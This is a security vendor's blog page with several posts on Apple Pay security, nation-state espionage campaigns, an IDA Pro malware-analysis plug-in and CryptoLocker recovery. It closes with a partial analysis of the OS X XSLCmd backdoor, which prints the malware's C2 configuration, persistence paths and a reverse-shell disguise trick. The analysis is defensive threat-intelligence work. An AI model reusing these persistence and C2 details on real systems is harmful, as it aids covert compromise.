Jump to content

Blog

Shield

Information and insight on today's advanced threats from the leader in advanced threat prevention.

All Posts


Apple Pay: A Security Analysis

 Has Apple taken a bite out of hackers’ arsenals? The company is betting on it. Its recent announcement about a new secure payment option has the retail and tech worlds buzzing. If Apple can implement its near-field communication (NFC) payment system correctly, it can absolutely increase security, guarding against the disastrous types of credit breaches that have dominated headlines. Being able to rely on NFC for securely making mobile payments could be a game changer in the current environment of data breaches. But that’s not the only possible outcome. As NFC payments become more popular, it may force new innovation and inspire more creative techniques for credit card payments. Apple is at least the third major player to enter into the NFC payment market, and it now seems increasingly likely that the demise of the antiquated magnetic strip credit card is underway– which also, ultimately, means more a challenge for hackers.

History Lessons

 NFC has been around in the mobile payment arena for a while. In September 2011, Google entered into the market with its product Google Wallet. However, its rollout to Android phones and adoption was stifled by the cell phone carriers, resulting in only a small number of phones that could use Google Wallet. The issue stemmed from the fact that the Android phones used something referred to as a Secure Element (SE), which is where the NFC payment system stored the financial data in protected memory.  Due to the use of the SE, wireless carriers requested that the Google Wallet application be blocked. This appeared to be a thinly veiled attempt to give the carriers time to develop their own payment system. In late 2010, Verizon, T-Mobile and AT&T created a joint venture called ISIS Wallet, designed to also do NFC payment systems (the platform has recently rebranded under the name Softcard). However, their rollout was slower than Google’s, only offering a pilot rollout by mid-2012. While this activity between Google, the carriers, and ISIS continued, Apple chose to initially move towards iBeacon. iBeacon is a first step towards proximity-based transmitters based on Bluetooth 4.0, and was believed to be Apple’s initial offering in the wireless point of sale offering. However, the technology never caught on as a payment platform. Both Apple’s and Google’s initial offerings met resistance, though both companies remained undaunted and worked to improve their respective platforms. Google’s engineers have worked around the SE issue by using Host-Based Card Emulation available in Android 4.4. Apple moved off of the iBeacon and moved towards NFC based payments, now called Apple Pay.

How Does Apple Pay Try to Stay Secure?

Technology-wise, the back-end architecture is ready to support this change. Over the past few years, several businesses, including McDonalds, have upgraded their electronic Point of Sale (POS) systems to allow faster payments through touch-less NFC readers. The Apple Pay process works like this: after you launch the payment application on your phone you will tap it on the credit card terminal to make an NFC connection. The device securely connects to the payment system and selects a credit card already stored in the phone. The actual credit card number is not stored in the phone, rather it is stored as a Device Account Number. During the transaction, that number is combined with a secure transaction code, and must be authorized via the fingerprint scanner on the iPhone 6. (On the iPhone 5, a PIN is used for approval.) The SE chip validates the transaction, relaying your authorization to the NFC modem. The transaction information goes to the merchant, who sends it to the acquiring bank, who vouches the information on behalf of the merchant.  That information is then sent from the acquiring bank to the payment processing network.  The payment processor (Visa, MasterCard, etc.) then has means to determine the account information, the credit card being used, and ensure that the transaction security code is valid.  Because the payment processor is accessing the device data, Apple has no record of what credit cards are being used, or how.

Credit Cards are a Target

As the media has covered in depth, hackers have placed a bulls-eye on American retailers. There’s a good reason for that: that’s where the credit cards are. At the end of 2013, there were 1.2 billion debit, credit, and pre-paid cards circulating in America – more than any other region. Other developed countries have migrated to chip-and-PIN technology, whereas the United States relies nearly exclusively on magnetic strip cards, which is much more valuable for hackers because of their ease of use by criminals. Hackers cost global payment-card losses of $11.3 billion in 2012 (including retailers and card issuers), and the U.S. accounted for 47% of that.

Credit Cards - US

So How Secure is Apple Pay?

By nature, NFC payments should be more secure. Unlike a traditional credit card, a new string of numbers is created for each purchase, in lieu of transmitting the user’s card information. This security element makes it extremely difficult for hackers to use a stolen number for any other purposes. In a traditional model, the merchant must accept the credit card information, even if it is encrypted. In doing so, the merchant must accept the liability of holding and processing the credit card number. However, NFC payments make skimming credit card data more difficult using current hacker techniques. Because a card is not swiped during the transaction, there is no way to introduce a skimmer to capture the magnetic credit card data. Additionally, this would also mitigate the threats from memory scraping malware such as BlackPOS or Dexter. It may be possible at some point in the future that a small antennae placed hear the NFC reader might be able to capture the communication between the NFC reader and the device. However, because the hacker would only capture the Device Account Number combined with the transaction code, it is highly unlikely that an eavesdropped communication could be reused malicious purposes. The process should deter hackers looking for credit card data from merchants who only use NFC-based payments because they will only handle the Device Account Number and the secure transaction information – not the credit card number. Even if threat actors are able to access the retailer’s network, the one-time-use-only nature of the information makes it essentially useless for their purposes. And at this point, it is unclear if a retailer will even store such information at all. Of course, we can possibly expect an adoption time where they will use NFC-based payments as well as the traditional magnetic-based credit card data.

What About the Future?  

Moving forward, mobile payment security will rely on three components: user authentication, validation of mobile applications, and third-party payment processers. First is authentication. Apply Pay uses biometrics for authentication. However, this is still an emerging technology as demonstrated when the iPhone 5S Touch ID could be bypassed just two days after launch. While convergence is the key value, it also proves to be one of the key risks that comes with these new forms of finance. While we look at the individual components and the vulnerabilities and risks they bring, we must also look at the process as a whole. Second, we must consider third-party apps and malware that may negatively impact Apple Pay. While Apple may not be opening Apple Pay up to third parties, we have previously observed malware in nearly every mobile environment. In this case, the credit card number may be vulnerable when being entered into the mobile device. The credit card information is entered into the Passbook by taking a picture of the credit card, or by manually typing it in. This is the time the data is most vulnerable, as malware may attempt to capture the image used, or capture the credit card information that has been manually entered. Finally, there are the payment infrastructure services, which typically have strong security considering the volumes of money processed through them. As POS systems move towards NFC payments, there will be fewer magnetic-based card credentials available on merchant networks. It is likely that hackers will not give up their craft, but rather redirect their efforts toward the next weakest link in the chain.

Final Thoughts  

Consumer fraud is a massive market. We must expect those who participate in online consumer fraud to look to this new technology space to maintain their crime revenue streams. Add the popularity of shopping and banking on smart devices, and you clearly see a convergence point for future criminal focus, whether recreating traditional fraud in an evolving environment or identifying new vulnerabilities and opportunities. At the moment, though, it appears Apple Pay and other NFC mobile payment systems in general offers enhanced security against traditional retail credit card breaches. As mobile payments continue to provide convenience and speed, the credit card as we know it will most likely evolve while we as consumers will increasingly rely on virtual wallets, payments, and accounts. As this shift in behavior occurs, we expect criminals to move with the trends and to continue to innovate or be shut out of the market.

Putting TRANSCOM in Perspective

Today, the Senate Armed Services Committee released information indicating that China-based threat actors were heavily targeting TRANSCOM, the U.S. military’s logistics arm. In terms of the private sector contractors impacted, the intrusions detailed in the Levin report mirror activity FireEye has observed: we frequently see nation state threat actors target not only government, but also private sector organizations in order to obtain military intelligence.

Why Pursue Military Secrets?

FireEye believes that China-based threat actors are primarily motivated to compromise the defense industrial base – both private defense contractors and government agencies — (DIB) for data theft in order to:

  • Steal intellectual property and proprietary information capable of providing the government with a military advantage and assist the country in reaching its goals for military modernization. The Chinese government likely could use information stolen from the DIB to assess the U.S.’ military capabilities, and indigenously develop its products (as well as possibly the means to effectively counter them). This may also offer a way for the government to circumvent U.S. security restrictions and other export controls to obtain technologies that they are not able to otherwise purchase from the U.S. and its close allies.
  • Stealing data from the DIB could also provide the Chinese government with an economic advantage in the global arms market, as the government would be able to indigenously develop and then sell new and highly valued technologies. Using stolen blueprints would also allow the Chinese government to increase its market competiveness, as it would be able to skip the research and development process and thus sell the same products for a cheaper price.

Threat Actors and Targets

We have seen more than 20 unique threat groups (including almost all the China-based APT groups that we track) that have compromised corporate networks in the Aerospace and Defense industry, particularly the following subsectors:

  • Aerospace & Defense Parts Wholesalers
  • Aerospace Products & Parts Manufacturing
  • Aircraft Engine & Parts Manufacturing
  • Guided Missile & Space Vehicle Manufacturing
  • Industrial & Military Computer System Manufacturing

Common data theft includes:

  • Personal Documents
  • Research Reports
  • Organizational Charts and Company Directories
  • Testing Results and Reports
  • Product Designs/Blueprints
  • Business Communications
  • Production Processes
  • PII
  • Budget Information
  • Safety Procedures
  • General Proprietary Product or Service Information
  • Equipment Maintenance Records and Specifications
  • System Log Files

While TRANSCOM attributed all 20 intrusions that it classified as “advanced persistent threat” to China, it’s important not to lose sight of the fact that China is not the only player in this game:

  • We have also observed suspected Russia-based actors target a defense technology company, and in Operation Saffron Rose, we saw an Iranian group target US defense contractors in addition to members of the Iranian opposition.
  • We’ve also seen a number of regional conflicts, such as India-Pakistan, play out in the cyber arena, and we are seeing indications that Middle East-based hackers are tuning their skills and posing an increasing nuisance to companies around the globe.

Multiple threat groups appear to have a firm understanding of the Aerospace and Defense supply chains, including the relationships between organizations and specific projects in the industry. In multiple instances, cyber espionage groups have targeted information about specific projects across several companies. Similarly, we have observed threat groups target the entire Aerospace and Defense manufacturing production cycle, from research and development through testing and production, all the way to product launch.

Defense contractors are not the only parties who are affected by military intelligence collection. We have also seen relatively small companies—for example, technology companies that produce products for military and consumer applications—hit by probable nation-state threat actors, who appear to be collecting intelligence on the companies relationships with adversary military organizations.

The intrusions at TRANSCOM and its contractors resulted in data theft, but it’s important to note that data theft is not the only possible outcome of a breach. It’s also possible for threat actors to modify data once they have access to it, or even to destroy data, as they did in the case of Saudi Aramco. They may establish a foothold to ensure that they have access to victim networks for future use, or to conduct reconnaissance for possible, future operations.

Lessons from TRANSCOM

Of the 11 contractors impacted, eight said they were not aware of any threat activity occurring during the period in question. This hearkens back to a mantra we have at FireEye: it is not a matter of if an enterprise will be breached, but when. It is therefore critical that organizations prepare for the inevitable breach by monitoring for signs of an intrusion, sharing intelligence with industry peers, and having a strong incident response plan in place. In addition, intel sharing—more freely among government entities, as well as the threat intelligence community writ large—and contribute to better preparedness and a more effective defense against cyber threats.

Security Done the Right Way: Adaptive Defense

Over the past two decades, we have had the privilege of responding to hundreds of computer security breaches. We have spent over a million hours on the front lines combatting the most advanced computer intruders, assisting organizations in responding to the attacks.

These experiences have provided us the opportunity to become intimate with the challenges organizations face when confronting cybersecurity threats. They also provided the best vantage point for us to observe the current state of the threats attacking organizations.

Our most telling conclusion is that today’s cyber attacks circumvent even the most secure organizations. These highly security-conscious organizations implement programs with numerous products, plenty of personnel, and thorough policies that address known weaknesses. Yet, they still tend to suffer security incidents as frequently as organizations whose security programs are not as robust.

Why is this the case? Simply put: attackers have been adapting to enterprise defenses and exploiting weaknesses we’ve never heard of far faster than we can adapt or react to their activities … until now.

There is no such thing as perfect security – but we can take tremendous strides to advance the speed and effectiveness of our security programs. The most effective security programs will incorporate strategies to reduce their target surface and shorten the “alert to fix” cycle to diminish the impact of any security breaches that do occur. Effective, security conscious organizations will implement:

  1. Strong preventive measures to minimize your attack surface area.
  2. Advanced detection capabilities (signature-less detection, real-time detection).
  3. Network, endpoint, and event visibility.
  4. The threat intelligence required to leverage the visibility.
  5. A fluid process to adapt to emerging threats.

As attacks change, defensive measures must evolve. We have learned the next-generation security architecture needs to be adaptive, nimble and have real long-term relevance. And we need to approach this with state-of-the-art products, highly skilled security experts and real-time threat intelligence.

We call this Adaptive Defense.

FireEye Adaptive Defense fully embraces the combination of FireEye and Mandiant, two companies that approached security from both sides of the security spectrum—detect and respond, respectively. By focusing on detection, FireEye created real-time, signature-less based methods to have situational awareness when attacks occur. By focusing on response, Mandiant developed the capability to rapidly and effectively contain these threats. Together, both organizations combine years of rigor and discipline obtaining the threat intelligence required to detect and respond to incidents.

These areas of focus represent the totality of the security problem the world faces today. We need to be able to prevent and detect the attacks we understand well enough to counter with technology. We need to analyze the environment to address the attacks that penetrate an organization’s perimeter and bypass preventive measures. And then ultimately, when we understand an attack well enough, contain it to get back to normal business operations. To succeed in today’s cyber-threat environment this cycle must shrink – from alert to fix in months, to alert to fix in minutes – in order to eliminate the consequences of a security breach.

That’s the compelling need FireEye Adaptive Defense addresses with today’s announcements. To learn more about what makes Adaptive Defense work, visit FireEye Threat Intelligence and FireEye as a Service.

FLARE IDA Pro Script Series: MSDN Annotations IDA Pro for Malware Analysis

The FireEye Labs Advanced Reverse Engineering (FLARE) Team continues to share knowledge and tools with the community. We started this blog series with a script for Automatic Recovery of Constructed Strings in Malware. As always, you can download these scripts at the following location: https://github.com/fireeye/flare-ida. We hope you find all these scripts as useful as we do.

Motivation

During my summer internship with the FLARE team, my goal was to develop IDAPython plug-ins that speed up the reverse engineering workflow in IDA Pro. While analyzing malware samples with the team, I realized that a lot of time is spent looking up information about functions, arguments, and constants at the Microsoft Developer Network (MSDN) website. Frequently switching to the developer documentation can interrupt the reverse engineering process, so we thought about ways to integrate MSDN information into IDA Pro automatically. In this blog post we will release a script that does just that, and we will show you how to use it.

Introduction

The MSDN Annotations plug-in integrates information about functions, arguments and return values into IDA Pro’s disassembly listing in the form of IDA comments. This allows the information to be integrated as seamlessly as possible. Additionally, the plug-in is able to automatically rename constants, which further speeds up the analyst workflow. The plug-in relies on an offline XML database file, which is generated from Microsoft’s documentation and IDA type library files.

Features

Table 1 shows what benefit the plug-in provides to an analyst. On the left you can see IDA Pro’s standard disassembly: seven arguments get pushed onto the stack and then the CreateFileA function is called. Normally an analyst would have to look up function, argument and possibly constant descriptions in the documentation to understand what this code snippet is trying to accomplish. To obtain readable constant values, an analyst would be required to research the respective argument, import the corresponding standard enumeration into IDA and then manually rename each value. The right side of Table 1 shows the result of executing our plug-in showing the support it offers to an analyst.

The most obvious change is that constants are renamed automatically. In this example, 40000000h was automatically converted to GENERIC_WRITE. Additionally, each function argument is renamed to a unique name, so the corresponding description can be added to the disassembly.

flare1

Table 1: Automatic labelling of standard symbolic constants

In Figure 1 you can see how the plug-in enables you to display function, argument, and constant information right within the disassembly. The top image shows how hovering over the CreateFileA function displays a short description and the return value. In the middle image, hovering over the hTemplateFile argument displays the corresponding description. And in the bottom image, you can see how hovering over dwShareMode, the automatically renamed constant displays descriptive information.

Functions

flare2

Arguments

flare3

Constants

flare4

Figure 1: Hovering function names, arguments and constants displays the respective descriptions

How it works

Before the plug-in makes any changes to the disassembly, it creates a backup of the current IDA database file (IDB). This file gets stored in the same directory as the current database and can be used to revert to the previous markup in case you do not like the changes or something goes wrong.

The plug-in is designed to run once on a sample before you start your analysis. It relies on an offline database generated from the MSDN documentation and IDA Pro type library (TIL) files. For every function reference in the import table, the plug-in annotates the function’s description and return value, adds argument descriptions, and renames constants. An example of an annotated import table is depicted in Figure 2. It shows how a descriptive comment is added to each API function call. In order to identify addresses of instructions that position arguments prior to a function call, the plug-in relies on IDA Pro’s markup.

flare5

Figure 2: Annotated import table

Figure 3 shows the additional .msdn segment the plug-in creates in order to store argument descriptions. This only impacts the IDA database file and does not modify the original binary.

flare6

Figure 3: The additional segment added to the IDA database

The .msdn segment stores the argument descriptions as shown in Figure 4. The unique argument names and their descriptive comments are sequentially added to the segment.

flare7

Figure 4: Names and comments inserted for argument descriptions

To allow the user to see constant descriptions by hovering over constants in the disassembly, the plug-in imports IDA Pro’s relevant standard enumeration and adds descriptive comments to the enumeration members. Figure 5 shows this for the MACRO_CREATE enumeration, which stores constants passed as dwCreationDisposition to CreateFileA.

flare8

Figure 5: Descriptions added to the constant enumeration members

Preparing the MSDN database file

The plug-in’s graphical interface requires you to have the QT framework and Python scripting installed. This is included with the IDA Pro 6.6 release. You can also set it up for IDA 6.5 as described here (http://www.hexblog.com/?p=333).

As mentioned earlier, the plug-in requires an XML database file storing the MSDN documentation. We cannot distribute the database file with the plug-in because Microsoft holds the copyright for it. However, we provide a script to generate the database file. It can be cloned from the git repository at https://github.com/fireeye/flare-ida together with the annotation plug-in.

You can take the following steps to setup the database file. You only have to do this once.

  1. Download and install an offline version of the MSDN documentationYou can download the Microsoft Windows SDK MSDN documentation. The standalone installer can be downloaded from http://www.microsoft.com/en-us/download/details.aspx?id=18950. Although it is not the newest SDK version, it includes all the needed information and data extraction is straight-forward.As shown in Figure 6, you can select to only install the help files. By default they are located in C:\Program Files\Microsoft SDKs\Windows\v7.0\Help\1033.

    flare9

    Figure 6: Installing a local copy of the MSDN documentation

  2. Extract the files with an archive manager like 7-zip to a directory of your choice.
  3. Download and extract tilib.exe from Hex-Ray’s download page at https://www.hex-rays.com/products/ida/support/download.shtml 

    To allow the plug-in to rename constants, it needs to know which enumerations to import. IDA Pro stores this information in TIL files located in %IDADIR%/til/. Hex-Rays provides a tool (tilib) to show TIL file contents via their download page for registered users. Download the tilib archive and extract the binary into %IDADIR%. If you run tilib without any arguments and it displays its help message, the program is running correctly.

  4. Run MSDN_crawler/msdn_crawler.py <path to extracted MSDN documentation> <path to tilib.exe> <path to til files>

    With these prerequisites fulfilled, you can run the MSDN_crawler.py script, located in the MSDN_crawler directory. It expects the path to the TIL files you want to extract (normally %IDADIR%/til/pc/) and the path to the extracted MSDN documentation. After the script finishes execution the final XML database file should be located in the MSDN_data directory.

You can now run our plug-in to annotate your disassembly in IDA.

Running the MSDN annotations plug-in

In IDA, use File – Script file… (ALT + F7) to open the script named annotate_IDB_MSDN.py. This will display the dialog box shown in Figure 7 that allows you to configure the modifications the plug-in performs. By default, the plug-in annotates functions, arguments and rename constants. If you change the settings and execute the plug-in by clicking OK, your settings get stored in a configuration file in the plug-in’s directory. This allows you to quickly run the plug-in on other samples using your preferred settings. If you do not choose to annotate functions and/or arguments, you will not be able to see the respective descriptions by hovering over the element.

flare10

Figure 7: The plug-in’s configuration window showing the default settings

When you choose to use repeatable comments for function name annotations, the description is visible in the disassembly listing, as shown in Figure 8.

flare11

Figure 8: The plug-in’s preview of function annotations with repeatable comments

Similar Tools and Known Limitations

Parts of our solution were inspired by existing IDA Pro plug-ins, such as IDAScope and IDAAPIHelp. A special thank you goes out to Zynamics for their MSDN crawler and the IDA importer which greatly supported our development.

Our plug-in has mainly been tested on IDA Pro for Windows, though it should work on all platforms. Due to the structure of the MSDN documentation and limitations of the MSDN crawler, not all constants can be parsed automatically. When you encounter missing information you can extend the annotation database by placing files with supplemental information into the MSDN_data directory. In order to be processed correctly, they have to be valid XML following the schema given in the main database file (msdn_data.xml). However, if you want to extend partly existing function information, you only have to add the additional fields. Name tags are mandatory for this, as they get used to identify the respective element.

For example, if the parser did not recognize a commonly used constant, we could add the information manually. For the CreateFileA function’s dwDesiredAccess argument the additional information could look similar to Listing 1.

<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<msdn>
<functions>
<function>
<name>CreateFileA</name>
<arguments>
<argument>
<name>dwDesiredAccess</name>
<constants enums=”MACRO_GENERIC”>
<constant>
<name>GENERIC_ALL</name>
<value>0×10000000</value>
<description>All possible access rights</description>
</constant>
<constant>
<name>GENERIC_EXECUTE</name>
<value>0×20000000</value>
<description>Execute access</description>
</constant>
<constant>
<name>GENERIC_WRITE</name>
<value>0×40000000</value>
<description>Write access</description>
</constant>
<constant>
<name>GENERIC_READ</name>
<value>0×80000000</value>
<description>Read access</description>
</constant>
</constants>
</argument>
</arguments>
</function>
</functions>
</msdn>

Listing 1: Additional information enhancing the dwDesiredAccess argument for the CreateFileA function

Conclusion

In this post, we showed how you can generate a MSDN database file used by our plug-in to automatically annotate information about functions, arguments and constants into IDA Pro’s disassembly. Furthermore, we talked about how the plug-in works, and how you can configure and customize it. We hope this speeds up your analysis process!

Stay tuned for the FLARE Team’s next post where we will release solutions for the FLARE On Challenge (www.flare-on.com).

The Path to Mass-Producing Cyber Attacks

Lines of people, lines of parts. The modern production line is composed of individuals contributing to a larger process. This common manufacturing approach is efficient, effective, and profitable.

Now it appears cyber attack groups in the world’s largest manufacturing country are using a similar approach to infiltrate targeted networks and compromise data – collaborating for increased efficiency and effectiveness.

FireEye Labs have published a report – Operation Quantum Entanglement – that details two attack campaigns by different groups in separate regions of China, apparently operating in parallel.

The first group, named Moafee, appears to operate from the Guandong Province. Its targets include the military organizations and governments of countries with national interests in the South China Sea, including some within the U.S. defense industrial base. Moafee may have chosen its targets based on the rich resources of South China Sea region – the world’s second business sea-lane, according to Wikipedia – including rare earth metals, crude oil, and natural gas.

The second group, known as DragonOK, targets high-tech and manufacturing companies in Japan and Taiwan. This may indicate they’re acquiring trade secrets for a competitive economic advantage in the area. DragonOK appears to operate out of China’s Jiangsu Province.

It seems that both groups, while operating in distinctly different regions, either 1) collaborate, 2) receive the same training), 3) share a common toolkit supply chain, or 4) some combination of these scenarios, which means they are employing a ‘production line’-type approach to initiating cyber attacks to breach defenses.

Mirroring Each Other

Both campaigns use similar tools, techniques and procedures (TTPs) – including custom-built backdoors and remote-administration tools (RATs) to infiltrate their targets’ networks.

Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit Tool (HTRAN) – to disguise their geographical locations. Both utilize password-protected documents and large file sizes to disguise their attacks. These approaches, along with other similarities in TTPs we’ll review below, seem to indicate the groups are affiliated in some way and have at least some commonality in their attack campaigns.

quantum1

A third, separate group also appears to be using the same TTPs, including the same custom backdoors and RATs; however, FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups.

Hidden from Sight

Both Moafee and DragonOK favor spear-phishing emails as an attack vector, often employing a decoy to deceive the victim. The emails are well crafted and audience specific, even written in the intended victim’s native language.

Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document. We also observed both groups using decoy documents that are presented to the victim while the malware runs in the background.

The groups both use common, and multiple, methods to hide their activities. Employing sandbox environments, antivirus software and gateway firewalls, they do their best to remain unobtrusive. Methods include:

  • checking for the number of core processors (and quitting if only one is detected);
  • attaching password-protected documents and providing a password in the email contents; and
  • sending large files padded with unnecessary null bites to slide past network- and host-based AV engines that can’t scan larger files.

Tools of the Trade 

The two different operators seem to share backdoors and RATs – some of which are custom; others are publicly available. Overlapping tools include:

  • CT/NewCT/NewCT2
  • Mongall
  • Nflog
  • PoisonIvy

We observed Moafee running HTRAN proxies on their multiple Command and Control (C2) servers – all operated on CHINANET, and hosted in Guangdong Province.

Like the Moafee group, we observed DragonOK running HTRAN to proxy their C2 servers, which are also operated on CHINANET but are hosted in the Jiangsu Province.

Summary

Primarily focused on governments and military operations of countries with interests in the South China Sea, Moafee likely chooses its targets based on region’s rich natural resources. By targeting high-tech and manufacturing operations in Japan and Taiwan, DragonOK may be acquiring trade secrets for a competitive economic advantage.

While their targets and missions appear different, our researchers found enough linking evidence to demonstrate a relationship between Moafee and DragonOK, and perhaps even a third attack group. By sharing TTPs and coordinating joint attacks, these advanced threat actors are leveraging China’s supply chain economic expertise to perform extensive worldwide espionage.

DecryptCryptoLocker – A Success Story

About a month ago FireEye, in partnership with Fox-IT, released a free service to provide relief to CryptoLocker victims around the world. As early as September 2013, CryptoLocker started haunting computers of innocent computer users worldwide. The victims’ only mistake was innocuously clicking on a link in their email or browsing the Internet. The ransomware spread fast in UK, followed by the US, and then permeated the rest of the world.

A recent takedown named Operation Tovar helped bring down command and control infrastructure used by criminals to spread GameOver Zeus and its payload, cryptolocker. But taking down their servers was not enough. Thousands of victims were still left with infected systems and all their data held hostage. Even some of their backups and network shares were rendered useless. Some victims re-infected themselves, hoping to pay reduced amounts of ransom.

When the criminals accidentally gave us the keys, we realized this was an unprecedented opportunity to help give those victims with another chance to reclaim their digital property.

Since the introduction of this relief program, we have seen close to three thousand successful recoveries of ransomed data. Geographic distribution of the victims who used the service suggests most of them were within United States followed by United Kingdom, Canada, and Australia. The majority of these victims were using Windows operating systems with Chrome as their browser.

crypt01

We received great responses from everyone ranging from CTOs, IT Directors, to home users. One office manager who was going to spend all weekend preparing for a Monday morning audit responded with:

crypt02

A Support Manager from an IT service provider said:

“This is amazing. We had a client that got hit with this and ‘lost’ 17 years worth of data. I opted to keep the files and told them if there was ever a way to fix this, we’d have the data. I honestly never expected to recover the data.”

Cryptolocker’s multi-million monetary gains brought back a renewed interest in ransomware and it was followed by a plethora of imitators that started spreading and selling on black market. Decryptcryptolocker has helped in bringing back immeasurable amount of lost data back to people and hopefully enhanced user education.

Apple OS X: Security Through Obscurity is becoming an Absurdity

Today’s blog on a new Mac malware is a reminder that attackers go where the money is. Apple usage within the enterprise is growing rapidly, with 52 percent of newly issued computers being Macs according to Forrester. Forrester also highlights that executives and manager level employees often the prime targets of advanced attackers ­ represent 41 percent of enterprise Apple users.   And with more of the enterprise brain trust using the Mac platform, VIPs are a logical and rich target.  And now we see attackers simply porting Windows malware for Mac. The moral for security teams?  Today’s blog disproves the “security through obscurity” moniker traditionally associated with using Macs to stay safe. Security teams:  gear up now.

How do you do that?  Well, for starters, it is important to remember several fundamental security operations and incident response best practices that can help combat this and other threats:

  • Develop, continually improve, and follow a formal incident response process
  • Perform gap analysis to determine where “blind spots” in visibility may exist
  • Ensure proper network instrumentation to address any lack of network visibility
  • Ensure proper endpoint instrumentation across all operating system platforms
  • Leverage a rigorous content development process to create high fidelity alerting that produces a unified work queue with a high signal-to-noise ratio (ratio of true positives to false positives)
  • Practice Continuous Security Monitoring (CSM) to rapidly detect and respond to any potential breaches or intrusions
  • Strive for smooth operations to include ensuring that staff are adequately trained and equipped
  • Incorporate actionable intelligence
  • Participate actively in both formal and informal information sharing forums

There is no one silver bullet that will immediately quash all the risk presented by APT actors and other threats. Rather, as security leaders, we need to ensure that we put the people, process, and technology in place to properly manage the risk our organizations face on a daily basis. A formal, rigorous security operations and incident response program is a key component of this endeavor.

Forced to Adapt: XSLCmd Backdoor Now on OS X

Introduction

FireEye Labs recently discovered a previously unknown variant of the APT backdoor XSLCmd – OSX.XSLCmd – which is designed to compromise Apple OS X systems. This backdoor shares a significant portion of its code with the Windows-based version of the XSLCmd backdoor that has been around since at least 2009.

This discovery, along with other industry findings, is a clear indicator that APT threat actors are shifting their eyes to OS X as it becomes an increasingly popular computing platform.

Across the global threat landscape, there has been a clear history of leveraging (or porting) Windows malware to the Apple OS X platform. In 2012, AlienVault discovered a document file exploiting an older vulnerability in Microsoft Word that installs a backdoor named “MacControl” on OS X systems. The group responsible for those attacks had been targeting Tibetan non-government organizations (NGOs). It was later discovered that the code for this backdoor was borrowed from an existing Windows backdoor, whose source code can be found on several Chinese programming forums.

In 2013, Kaspersky reported on a threat actor group they named “IceFog” that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan. This group developed their own backdoor for both Windows and OS X. And just this year, Kaspersky published a report on a group they named “Careto/Mask” that utilized an open source netcat-like project designed to run on *nix and Windows systems named ‘sbd’ which they wrapped in a custom built installer for OS X.

Based on our historical intelligence, we believe the XSLCmd backdoor is used by APT, including a group that we call “GREF.” We track this threat group as “GREF” due to their propensity to use a variety of Google references in their activities – some of which will be outlined later in this report. Our tracking of GREF dates back to at least the 2009 timeframe, but we believe they were active prior to this time as well.   Historically, GREF has targeted a wide range of organizations including the US Defense Industrial Base (DIB), electronics and engineering companies worldwide, as well as foundations and other NGO’s, especially those with interests in Asia.

XSLCmd for OS X Analysis

The XSLCmd backdoor for OS X was submitted to VirusTotal (MD5: 60242ad3e1b6c4d417d4dfeb8fb464a1) on August 10, 2014, with 0 detections at the time of submission. The sample is a universal Mach-O executable file supporting the PowerPC, x86, and x86-64 CPU architectures. The code within contains both an installation routine that is carried out the first time it is executed on a system, and the backdoor routine which is carried out after confirming that its parent process is launchd (the initial user mode process of OS X that is responsible for, amongst other things, launching daemons).

The backdoor code was ported to OS X from a Windows backdoor that has been used extensively in targeted attacks over the past several years, having been updated many times in the process. Its capabilities include a reverse shell, file listings and transfers, installation of additional executables, and an updatable configuration. The OS X version of XSLCmd includes two additional features not found in the Windows variants we have studied in depth: key logging and screen capturing.

Installation Routine

To install, XSLCmd first determines the endianness of the CPU using NXGetLocalArchInfo and whether or not it is running as the super user by comparing the return value of getuid()with 0. The code includes functions to handle endianness differences when dealing with file and network data on a system using big endian, namely older Apple computers that shipped with PowerPC CPUs. The process copies its Mach-O from its current location to $HOME/Library/LaunchAgents/clipboardd and creates a plist file in the same directory with the name com.apple.service.clipboardd.plist. The latter file ensures that the backdoor is launched after the system is rebooted once the user logs in.  After this is done, the malware relaunches itself using the ‘load’ option of the launchctl utility, which runs the malware according to its configuration in the plist file it created, with launchd as its parent process. This is the process that begins the actual backdoor routine of waiting for and executing commands issued from the C2 server.

After running itself with launchctl, the initial process forks and deletes the Mach-O from the original location from which it was executed. The installation routine differs slightly depending on whether or not the process is running with super user privileges. If run as super user, it copies itself to /Library/Logs/clipboardd. Interestingly, if run as super user, the process will also copy /bin/ksh to /bin/ssh. /bin/ksh is the Korn shell executable, and if the user sends a command to initialize a reverse shell, it will use the copy of ksh to do so instead of /bin/bash.

This is likely done to make it less obvious that a reverse shell is running on the system, since it may raise less suspicion to see an ssh process opening a network socket rather than a bash process, although the real ssh executable is actually located in /usr/bin/ssh, not /bin/ssh. A list of possible files created by XSLCmd is included in Appendix 1 at the end of this blog.

Configuration Options

XSLCmd ships with an encrypted configuration file that it defaults to if there is no configuration file written to disk. It will only write its configuration file to disk if it’s updated by the user.  It runs in a loop, checking for a configuration update, and then checking for commands. If a new configuration is available, it will be written to disk in base64 encoding at $HOME/.fontset/pxupdate.ini. Below is the configuration data stored in the XSLCmd sample we obtained.

[ListenMode]
0
[MServer]
61.128.110.38:8000
[BServer]
61.128.110.38
[Day]
1,2,3,4,5,6,7
[Start Time]
00:00:00
[End Time]
23:59:00
[Interval]
60
[MWeb]
http://1234/config.htm
[BWeb]
http://1234/config.htm
[MWebTrans]
0
[BWebTrans]
0
[FakeDomain]
www.appleupdate.biz
[Proxy]
0
[Connect]
1
[Update]
0
[UpdateWeb]
not use

[MServer] and [BServer] specify the main and backup C2 server addresses, which can be either an IP address or domain name. Only [MServer] needs to specify a port.

[Day] specifies which days of the week the malware will poll for commands and configuration updates on where Monday is 1.

[Start Time] specifies the local time of day to begin polling.

[End Time] specifies the local time of day to stop polling.

[Interval] specifies the number of seconds between polls.

[MWeb] and [BWeb] specify the main and backup URLs to poll for configuration updates, respectively. Update checks are not performed if these values are left to their default: http://1234/config.htm

Other options will be explained where appropriate later in the blog.

C2 Protocol

XSLCmd uses pseudo-HTTP for its protocol. It opens a socket and uses a string template to setup the HTTP request or response headers depending on whether or not it was configured for [Listen Mode]. If [Listen Mode] is set to 1, then it listens on its socket, waiting for a connection for which it will reply to with HTTP response headers following this template:

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Server: Apache/2.0.54 (Unix)

Content-Encoding: gzip

Content-Length: %d

